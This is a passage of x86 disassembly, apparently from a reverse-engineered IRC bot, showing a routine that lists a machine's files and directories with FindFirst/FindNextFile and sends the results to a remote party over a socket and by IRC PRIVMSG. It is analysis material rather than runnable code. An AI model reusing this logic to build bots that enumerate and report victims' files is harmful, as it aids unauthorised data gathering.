\r\n + var_24C ]
push ebx
push eax
call sub_412E0D
lea eax, [ ebp + var_24C ]
add esp, 10h
lea esi, [ eax + 1 ]
loc_4035BC: ; CODE XREF: sub_4030C4 + 4FDj
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_4035BC
push edi
sub eax, esi
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
lea eax, [ ebp + var_360 ]
push eax
push [ ebp + arg_C ]
lea eax, [ ebp + var_24C ]
push offset aSS ; \"%s%s\"
push ebx
push eax
call sub_412E0D
lea eax, [ ebp + var_24C ]
add esp, 14h
lea esi, [ eax + 1 ]
loc_4035FF: ; CODE XREF: sub_4030C4 + 540j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_4035FF
push edi
sub eax, esi
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
lea eax, [ ebp + var_360 ]
lea esi, [ eax + 1 ]
loc_403623: ; CODE XREF: sub_4030C4 + 564j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_403623
sub eax, esi
cmp eax, 1Fh
lea eax, [ ebp + var_360 ]
push eax
lea eax, [ ebp + var_24C ]
jbe short loc_403645
push offset aCode_30sGtCode ; \"\\">%.30s>\"
jmp short loc_40364A
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_403645: ; CODE XREF: sub_4030C4 + 578j
push offset aCodeSCodeA_0 ; \"\\">%s\"
loc_40364A: ; CODE XREF: sub_4030C4 + 57Fj
push ebx
push eax
call sub_412E0D
lea eax, [ ebp + var_24C ]
add esp, 10h
lea edx, [ eax + 1 ]
loc_40365D: ; CODE XREF: sub_4030C4 + 59Ej
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_40365D
push edi
sub eax, edx
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
mov eax, [ ebp + var_36C ]
shr eax, 0Ah
push eax
push 3Ch
lea eax, [ ebp + var_4C ]
push eax
push 96h
push offset aTdTdWidthDCo_0 ; \" | \r\n%s\"...
lea eax, [ ebp + var_24C ]
push ebx
push eax
call sub_412E0D
add esp, 1Ch
jmp short loc_4036CE
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_4036A4: ; CODE XREF: sub_4030C4 + 4CFj
push [ ebp + var_36C ]
lea eax, [ ebp + var_4C ]
push eax
lea eax, [ ebp + var_360 ]
push eax
push offset a31s21sIBytes ; \"% - 31s % - 21s (%i bytes)\r\n\"
push 200h
loc_4036BF: ; CODE XREF: sub_4030C4 + 457j
lea eax, [ ebp + var_24C ]
push eax
call sub_412E0D
add esp, 18h
loc_4036CE: ; CODE XREF: sub_4030C4 + 34Ej
; sub_4030C4 + 49Dj ...
lea eax, [ ebp + var_24C ]
lea edx, [ eax + 1 ]
loc_4036D7: ; CODE XREF: sub_4030C4 + 618j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_4036D7
push edi
sub eax, edx
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
cmp [ ebp + arg_8 ], edi
jz short loc_403702
push 0FAh
call ds:dword_41F000 ; Sleep
loc_403702: ; CODE XREF: sub_4030C4 + 25Cj
; sub_4030C4 + 274j ...
lea eax, [ ebp + var_38C ]
push eax
push [ ebp + var_C ]
call ds:dword_41F050 ; FindNextFileA
test eax, eax
jnz loc_403319
loc_40371A: ; CODE XREF: sub_4030C4 + 24Aj
push [ ebp + var_C ]
call ds:dword_41F044 ; FindClose
xor esi, esi
cmp [ ebp + arg_8 ], esi
jz short loc_40375F
mov eax, [ ebp + var_8 ]
cdq
push edx
push eax
call sub_402439
pop ecx
pop ecx
push eax
mov eax, [ ebp + var_4 ]
cdq
push edx
push eax
call sub_402439
pop ecx
pop ecx
push eax
push [ ebp + arg_8 ]
lea eax, [ ebp + var_24C ]
push offset aPrivmsgSFoundS ; \"PRIVMSG %s :Found %s Files and %s Direc\"...
push eax
call sub_412BB5
add esp, 14h
jmp short loc_40378D
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_40375F: ; CODE XREF: sub_4030C4 + 664j
cmp [ ebp + arg_C ], esi
lea eax, [ ebp + var_24C ]
jz short loc_403779
push offset aTrTdColspan3_0 ; \"\r\n
| \r\n \r\"...
push eax
call sub_412BB5
pop ecx
pop ecx
jmp short loc_40378D
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_403779: ; CODE XREF: sub_4030C4 + 6A4j
push [ ebp + var_8 ]
push [ ebp + var_4 ]
push offset aFoundIFilesAnd ; \"Found: %i Files and %i Directories\r\n\"
push eax
call sub_412BB5
add esp, 10h
loc_40378D: ; CODE XREF: sub_4030C4 + 699j
; sub_4030C4 + 6B3j
lea eax, [ ebp + var_24C ]
lea edx, [ eax + 1 ]
loc_403796: ; CODE XREF: sub_4030C4 + 6D7j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_403796
push esi
sub eax, edx
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4030C4 endp
|